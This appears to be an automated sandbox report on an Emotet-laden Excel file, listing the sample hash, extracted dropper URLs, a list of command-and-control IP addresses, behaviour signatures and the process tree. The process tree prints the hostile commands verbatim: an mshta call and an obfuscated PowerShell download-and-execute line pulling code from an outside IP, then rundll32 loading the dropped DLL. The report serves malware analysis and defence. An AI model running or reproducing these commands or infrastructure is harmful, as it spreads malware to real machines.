Analysis
- max time kernel
151s - max time network
132s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 18:45
General
- Target tmp1zg8lye0.xls
- Size 154KB
- Sample220127-xed6cshbbr
- SHA256 af267fe2e9975d8eb7f84748b9456ef9b86fbe6a4fb72cc1580e507b2abc8622
Malware Config
Extracted
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hta
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hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html
Extracted
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ps1
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ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png
Extracted
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emotet
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Epoch4
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51.15.4.22:443
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173.214.173.220:8080
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212.237.5.209:443
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192.254.71.210:443
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216.158.226.206:443
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162.243.175.63:443
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212.24.98.99:8080
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58.227.42.236:80
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45.118.115.99:8080
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104.251.214.46:8080
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185.157.82.209:8080
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46.55.222.11:443
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188.40.137.206:8080
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81.0.236.90:443
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103.75.201.2:443
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129.232.188.93:443
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195.154.133.20:443
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159.8.59.82:8080
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79.172.212.216:8080
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138.185.72.26:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 17 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp1zg8lye0.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\mshta.exemshta http://91.240.118.168/zqqw/zaas/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Npccjupazvdondfx\vfrg.esa",lFrARrUjXiBGCX8⤵
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3148 -s 18164⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/852-310-0x000001D76A3F0000-0x000001D76A4D0000-memory.dmp
memory/852-281-0x000001D76A3F0000-0x000001D76A4D0000-memory.dmp
memory/852-305-0x000001D76AE90000-0x000001D76AF06000-memory.dmp
memory/852-294-0x000001D76AA50000-0x000001D76AA8C000-memory.dmp
memory/852-273-0x000001D76A7B0000-0x000001D76A7D2000-memory.dmp
memory/852-280-0x000001D76A3F0000-0x000001D76A4D0000-memory.dmp
memory/2352-616-0x00000000042E0000-0x0000000004305000-memory.dmp
memory/2680-117-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-119-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-115-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-606-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-607-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-608-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-609-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-118-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-128-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp
memory/2680-116-0x00007FFF06850000-0x00007FFF06860000-memory.dmp
memory/2680-129-0x00007FFF03D00000-0x00007FFF03D10000-memory.dmp
memory/3808-619-0x0000000003330000-0x0000000003355000-memory.dmp
memory/3808-622-0x00000000051B0000-0x00000000051D5000-memory.dmp
memory/3808-624-0x00000000052C0000-0x00000000052E5000-memory.dmp
memory/3808-626-0x0000000005420000-0x0000000005445000-memory.dmp
memory/3808-628-0x0000000005480000-0x00000000054A5000-memory.dmp
memory/3808-630-0x00000000054E0000-0x0000000005505000-memory.dmp